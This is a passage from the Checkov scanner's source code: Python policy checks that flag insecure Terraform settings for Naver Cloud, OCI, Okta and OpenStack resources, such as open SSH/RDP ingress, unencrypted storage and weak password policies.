CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLPortCheck.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NACLPortCheck(BaseResourceCheck): def __init__(self) -> None: name = "An inbound Network ACL rule should not allow ALL ports." id = "CKV_NCP_12" supported_resources = ('ncloud_network_acl_rule',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'inbound' in conf.keys(): for idx, inbound in enumerate(conf['inbound']): self.evaluated_keys = [f"inbound/[{idx}]/port_range"] if 'port_range' in inbound.keys(): for port_range in inbound['port_range']: if port_range == "1-65535": return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = NACLPortCheck() ================================================ FILE: checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EFSEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure NAS is securely encrypted" id = "CKV_NCP_14" supported_resources = ("ncloud_nas_volume",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "is_encrypted_volume" check = EFSEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class NKSControlPlaneLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure NKS control plane logging enabled for all log types" id = "CKV_NCP_22" supported_resources = ('ncloud_nks_cluster',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'log/0/audit/0' check = NKSControlPlaneLogging() ================================================ FILE: checkov/terraform/checks/resource/ncp/NKSPublicAccess.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class NKSPublicAccess(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Naver Kubernetes Service public endpoint disabled" id = "CKV_NCP_19" supported_resources = ("ncloud_nks_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'public_network' def get_forbidden_values(self): return [True] check = NKSPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class RouteTableNATGatewayDefault(BaseResourceCheck): def __init__(self): name = "Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to " \ "allow connectivity " id = "CKV_NCP_20" supported_resources = ('ncloud_route',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if "destination_cidr_block" in conf.keys() and "target_type" in conf.keys(): if conf.get("target_type") == ["NATGW"]: if conf.get("destination_cidr_block") == ["0.0.0.0/0"]: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["destination_cidr_block"] check = RouteTableNATGatewayDefault() ================================================ FILE: checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ServerEncryptionVPC(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Server instance is encrypted." id = "CKV_NCP_6" supported_resources = ("ncloud_server",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "is_encrypted_base_block_storage_volume" check = ServerEncryptionVPC() ================================================ FILE: checkov/terraform/checks/resource/ncp/ServerPublicIP.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ServerPublicIP(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Server instance should not have public IP." id = "CKV_NCP_23" supported_resource = ('ncloud_public_ip',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return 'server_instance_no' def get_forbidden_values(self): return [ANY_VALUE] check = ServerPublicIP() ================================================ FILE: checkov/terraform/checks/resource/ncp/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id: str, port: int) -> None: name = f"Ensure no security groups rules allow ingress from 0.0.0.0/0 to port {port}" supported_resources = ['oci_core_network_security_group_security_rule'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf): direction = conf.get('direction') source = conf.get('source') protocol = conf.get('protocol') tcp_options = conf.get('tcp_options') self.evaluated_keys = ["direction"] if direction and direction[0] != 'INGRESS': return CheckResult.UNKNOWN self.evaluated_keys.append("source") if source and source[0] != "0.0.0.0/0": return CheckResult.PASSED elif (tcp_options is None and (protocol[0] == 'all' or protocol[0] == '6')) \ or tcp_options and self.scan_protocol_conf(tcp_options) is False: self.evaluated_keys.append("protocol") return CheckResult.FAILED return CheckResult.PASSED def scan_protocol_conf(self, protocol_name): """ scan tcp_options configuration""" if 'destination_port_range' not in protocol_name[0]: return False max_port = force_int(protocol_name[0]['destination_port_range'][0]['max'][0]) min_port = force_int(protocol_name[0]['destination_port_range'][0]['min'][0]) if max_port and min_port and min_port <= self.port <= max_port: return False return True ================================================ FILE: checkov/terraform/checks/resource/oci/AbsSecurityListUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int class AbsSecurityListUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id, port, is_exposed_by_default): name = f"Ensure no security list allow ingress from 0.0.0.0:0 to port {port}." supported_resources = ['oci_core_security_list'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port self.is_exposed_by_default = is_exposed_by_default def scan_resource_conf(self, conf): if 'ingress_security_rules' in conf: self.evaluated_keys = ['ingress_security_rules'] rules = conf.get("ingress_security_rules", []) for idx, rule in enumerate(rules): if not isinstance(rule, list): rule = [rule] for sub_rule_idx, sub_rule in enumerate(rule): if "0.0.0.0/0" in sub_rule['source'][0] \ and ( (sub_rule['protocol'][0] != '1' and ('udp_options' not in sub_rule) and ('tcp_options' not in sub_rule)) or self.scan_protocol_conf(sub_rule, 'tcp_options', idx) != CheckResult.FAILED or self.scan_protocol_conf(sub_rule, 'udp_options', idx) != CheckResult.FAILED or sub_rule['protocol'][0] == 'all'): self.evaluated_keys = [f'ingress_security_rules/[{sub_rule_idx}]/[{idx}]'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED if self.is_exposed_by_default else CheckResult.PASSED def scan_protocol_conf(self, rule, protocol_name, idx): """ scan udp/tcp_options configuration""" if protocol_name in rule: max_port = force_int(rule[protocol_name][0]['max'][0]) min_port = force_int(rule[protocol_name][0]['min'][0]) if min_port and max_port and min_port <= self.port <= max_port: return CheckResult.UNKNOWN self.evaluated_keys = [f'ingress_security_rules/[0]/[{idx}]/protocol/[0]/{protocol_name}'] return CheckResult.FAILED ================================================ FILE: checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py ================================================ # DataCatalogWithPublicAccess from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DataCatalogWithPublicAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure OCI Data Catalog is configured without overly permissive network access" id = "CKV_OCI_23" supported_resources = ['oci_datacatalog_catalog'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: if "attached_catalog_private_endpoints" in conf: if len(conf["attached_catalog_private_endpoints"][0]) > 0: return CheckResult.PASSED else: return CheckResult.FAILED else: return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['attached_catalog_private_endpoints'] check = DataCatalogWithPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/oci/FileSystemEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class FileSystemEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI File System is Encrypted with a customer Managed Key" id = "CKV_OCI_15" supported_resources = ['oci_file_storage_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = FileSystemEncryption() ================================================ FILE: checkov/terraform/checks/resource/oci/IAMPasswordLength.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class IAMPasswordLength(BaseResourceCheck): def __init__(self) -> None: name = "OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters" id = "CKV_OCI_18" supported_resources = ('oci_identity_authentication_policy',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if 'password_policy' in conf.keys(): self.evaluated_keys = ["password_policy"] rules = conf.get("password_policy")[0] if 'minimum_password_length' in rules: password_length = rules.get("minimum_password_length") if isinstance(password_length[0], int) and password_length[0] < 14: self.evaluated_keys = ["password_policy/minimum_password_length"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED check = IAMPasswordLength() ================================================ FILE: checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IAMPasswordPolicyLowerCase(BaseResourceValueCheck): def __init__(self): name = "OCI IAM password policy - must contain lower case" id = "CKV_OCI_11" supported_resources = ['oci_identity_authentication_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_policy/[0]/is_lowercase_characters_required' def get_expected_value(self): return True check = IAMPasswordPolicyLowerCase() ================================================ FILE: checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IAMPasswordPolicyNumeric(BaseResourceValueCheck): def __init__(self): name = "OCI IAM password policy - must contain Numeric characters" id = "CKV_OCI_12" supported_resources = ['oci_identity_authentication_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_policy/[0]/is_numeric_characters_required' def get_expected_value(self): return True check = IAMPasswordPolicyNumeric() ================================================ FILE: checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IAMPasswordPolicySpecialCharacters(BaseResourceValueCheck): def __init__(self): name = "OCI IAM password policy - must contain Special characters" id = "CKV_OCI_13" supported_resources = ['oci_identity_authentication_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_policy/[0]/is_special_characters_required' def get_expected_value(self): return True check = IAMPasswordPolicySpecialCharacters() ================================================ FILE: checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IAMPasswordPolicySpecialCharacters(BaseResourceValueCheck): def __init__(self): name = "OCI IAM password policy - must contain Uppercase characters" id = "CKV_OCI_14" supported_resources = ['oci_identity_authentication_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_policy/[0]/is_uppercase_characters_required' def get_expected_value(self): return True check = IAMPasswordPolicySpecialCharacters() ================================================ FILE: checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class InstanceBootVolumeIntransitEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI Compute Instance boot volume has in-transit data encryption enabled" id = "CKV_OCI_4" supported_resources = ['oci_core_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "launch_options/[0]/is_pv_encryption_in_transit_enabled" def get_expected_value(self): return True check = InstanceBootVolumeIntransitEncryption() ================================================ FILE: checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class InstanceMetadataServiceEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled" id = "CKV_OCI_5" supported_resources = ("oci_core_instance",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "instance_options/[0]/are_legacy_imds_endpoints_disabled" def get_expected_value(self) -> Any: return True check = InstanceMetadataServiceEnabled() ================================================ FILE: checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class InstanceMonitoringEnabled(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure OCI Compute Instance has monitoring enabled" id = "CKV_OCI_6" supported_resources = ("oci_core_instance",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "agent_config/[0]/is_monitoring_disabled" def get_forbidden_values(self) -> list[Any]: return [True] check = InstanceMonitoringEnabled() ================================================ FILE: checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ObjectStorageEmitEvents(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI Object Storage bucket can emit object events" id = "CKV_OCI_7" supported_resources = ['oci_objectstorage_bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "object_events_enabled" def get_expected_value(self): return True check = ObjectStorageEmitEvents() ================================================ FILE: checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class ObjectStorageEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI Object Storage is encrypted with Customer Managed Key" id = "CKV_OCI_9" supported_resources = ['oci_objectstorage_bucket'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = ObjectStorageEncryption() ================================================ FILE: checkov/terraform/checks/resource/oci/ObjectStoragePublic.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ObjectStoragePublic(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure OCI Object Storage is not Public" id = "CKV_OCI_10" supported_resources = ['oci_objectstorage_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "access_type" def get_forbidden_values(self): return ["ObjectRead", "ObjectReadWithoutList"] check = ObjectStoragePublic() ================================================ FILE: checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ObjectStorageVersioning(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI Object Storage has versioning enabled" id = "CKV_OCI_8" supported_resources = ['oci_objectstorage_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "versioning" def get_expected_value(self): return "Enabled" check = ObjectStorageVersioning() ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityGroupUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.oci.AbsSecurityGroupUnrestrictedIngress import \ AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_OCI_22", port=22) check = AbsSecurityGroupUnrestrictedIngress("CKV_OCI_22", 22) ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SecurityGroupsIngressStatelessSecurityRules(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security group has stateless ingress security rules" id = "CKV_OCI_21" supported_resources = ('oci_core_network_security_group_security_rule',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: stateless = conf.get('stateless') direction = conf.get('direction') self.evaluated_keys = ["direction"] if direction and direction[0] == 'INGRESS': self.evaluated_keys.append("stateless") if stateless is None or stateless[0] is False: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = SecurityGroupsIngressStatelessSecurityRules() ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityListIngress.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class SecurityListIngress(BaseResourceValueCheck): def __init__(self): name = "Ensure VCN has an inbound security list" id = "CKV_OCI_16" supported_resources = ['oci_core_security_list'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ingress_security_rules/[0]/protocol' def get_expected_value(self): return ANY_VALUE check = SecurityListIngress() ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SecurityListIngressStateless(BaseResourceCheck): def __init__(self): name = "Ensure VCN inbound security lists are stateless" id = "CKV_OCI_17" supported_resources = ['oci_core_security_list'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'ingress_security_rules' in conf.keys(): self.evaluated_keys = ['ingress_security_rules'] rules = conf.get("ingress_security_rules") is_list_syntax = False if isinstance(rules[0], list): # Old terraform oci provider version syntax for ingress_security_rules was a list instead of a block rules = rules[0] is_list_syntax = True for idx, rule in enumerate(rules): if 'stateless' in rule.keys(): stateless = rule.get("stateless") if stateless != [True] and stateless is not True: self.evaluated_keys = [f'ingress_security_rules/[{idx}]/stateless'] if is_list_syntax \ else [f'ingress_security_rules/[0]/[{idx}]/stateless'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = SecurityListIngressStateless() ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.oci.AbsSecurityListUnrestrictedIngress import AbsSecurityListUnrestrictedIngress class SecurityListUnrestrictedIngress22(AbsSecurityListUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_OCI_19", port=22, is_exposed_by_default=True) check = SecurityListUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py ================================================ from checkov.terraform.checks.resource.oci.AbsSecurityListUnrestrictedIngress import AbsSecurityListUnrestrictedIngress class SecurityListUnrestrictedIngress3389(AbsSecurityListUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_OCI_20", port=3389, is_exposed_by_default=False) check = SecurityListUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class StorageBlockBackupEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure OCI Block Storage Block Volume has backup enabled" id = "CKV_OCI_2" supported_resources = ['oci_core_volume'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "backup_policy_id" def get_expected_value(self): return ANY_VALUE check = StorageBlockBackupEnabled() ================================================ FILE: checkov/terraform/checks/resource/oci/StorageBlockEncryption.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class StorageBlockEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK)" id = "CKV_OCI_3" supported_resources = ('oci_core_volume',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'kms_key_id' def get_expected_value(self) -> Any: return ANY_VALUE check = StorageBlockEncryption() ================================================ FILE: checkov/terraform/checks/resource/oci/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/okta/TwoFASignOnPolicyRule.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class TwoFASignOnPolicyRule(BaseResourceCheck): def __init__(self): name = "Ensure 2FA is enabled for an Okta application signon policy rule" id = "CKV_OKTA_1" supported_resources = ["okta_app_signon_policy_rule"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "factor_mode" in conf: factor_mode = conf["factor_mode"][0] if factor_mode == "1FA": return CheckResult.FAILED return CheckResult.PASSED check = TwoFASignOnPolicyRule() ================================================ FILE: checkov/terraform/checks/resource/okta/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/openstack/AbsSecurityGroupUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.common.util.type_forcers import force_int class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id, port): name = f"Ensure no security groups allow ingress from 0.0.0.0:0 to port {port:d} (tcp / udp)" supported_resources = ['openstack_compute_secgroup_v2', 'openstack_networking_secgroup_rule_v2'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf): """ Looks for configuration at security group ingress rules: https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs/resources/compute_secgroup_v2 https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs/resources/networking_secgroup_rule_v2 Return PASS if: - the resource is an openstack_compute_secgroup_v2 that contains no violating rules (including if there are no rules at all), OR - the resource is an openstack_networking_secgroup_rule_v2 of type 'ingress' that does not violate the check. Return FAIL if: - the resource is an openstack_compute_secgroup_v2 that contains a violating rule, OR - the resource is an openstack_networking_secgroup_rule_v2 of type 'ingress' that violates the check. Return UNKNOWN if: - the resource is an openstack_networking_secgroup_rule_v2 of type 'egress' :param conf: openstack_compute_secgroup_v2|openstack_networking_secgroup_rule_v2 configuration :return: """ if 'rule' in conf: # This means it's an SG resource with rule block(s) rules = conf['rule'] for rule in rules: if isinstance(rule, dict) and self.contains_violation(rule, 'ip_protocol', 'from_port', 'to_port', 'cidr'): self.evaluated_keys = [ f'rule/[{rules.index(rule)}]/ip_protocol', f'rule/[{rules.index(rule)}]/from_port', f'rule/[{rules.index(rule)}]/to_port', f'rule/[{rules.index(rule)}]/cidr', ] return CheckResult.FAILED return CheckResult.PASSED if 'direction' in conf: # This means it's an SG_rule resource. direction = force_list(conf['direction'])[0] if direction == 'ingress': self.evaluated_keys = ['protocol', 'port_range_min', 'port_range_max', 'remote_ip_prefix'] if self.contains_violation(conf, 'protocol', 'port_range_min', 'port_range_max', 'remote_ip_prefix'): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN # The result for an SG with no ingress block return CheckResult.PASSED def contains_violation(self, conf, protocol_key, from_port_key, to_port_key, cidr_key): protocol = force_list(conf.get(protocol_key, [{-1}]))[0] from_port = force_int(force_list(conf.get(from_port_key, [{-1}]))[0]) to_port = force_int(force_list(conf.get(to_port_key, [{-1}]))[0]) if protocol == "icmp": return False if from_port is not None and to_port is not None and (from_port <= self.port <= to_port): cidr = conf.get(cidr_key, []) if len(cidr) > 0 and cidr[0] in ['0.0.0.0/0', '::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0']: return True return False ================================================ FILE: checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.consts import ANY_VALUE class ComputeInstanceAdminPassword(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that instance does not use basic credentials" id = "CKV_OPENSTACK_4" supported_resources = ['openstack_compute_instance_v2'] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED) def scan_resource_conf(self, conf): admin_pass = conf.get('admin_pass') if isinstance(admin_pass, list): admin_pass = admin_pass[0] if admin_pass: # should be missing, or an empty string conf[f'{self.id}_secret'] = admin_pass return CheckResult.FAILED else: return CheckResult.PASSED def get_inspected_key(self) -> str: return 'admin_pass' def get_forbidden_values(self): return [ANY_VALUE] check = ComputeInstanceAdminPassword() ================================================ FILE: checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class FirewallRuleSetDestinationIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure firewall rule set a destination IP" id = "CKV_OPENSTACK_5" supported_resources = ("openstack_fw_rule_v1",) categories = (CheckCategories.NETWORKING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "destination_ip_address" def get_forbidden_values(self) -> List[str]: return ["0.0.0.0/0", "0.0.0.0"] # nosec check = FirewallRuleSetDestinationIP() ================================================ FILE: checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.openstack.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_OPENSTACK_2", port=22) check = SecurityGroupUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py ================================================ from checkov.terraform.checks.resource.openstack.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress class SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_OPENSTACK_3", port=3389) check = SecurityGroupUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/openstack/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class InterfaceMgmtProfileNoHTTP(BaseResourceNegativeValueCheck): def 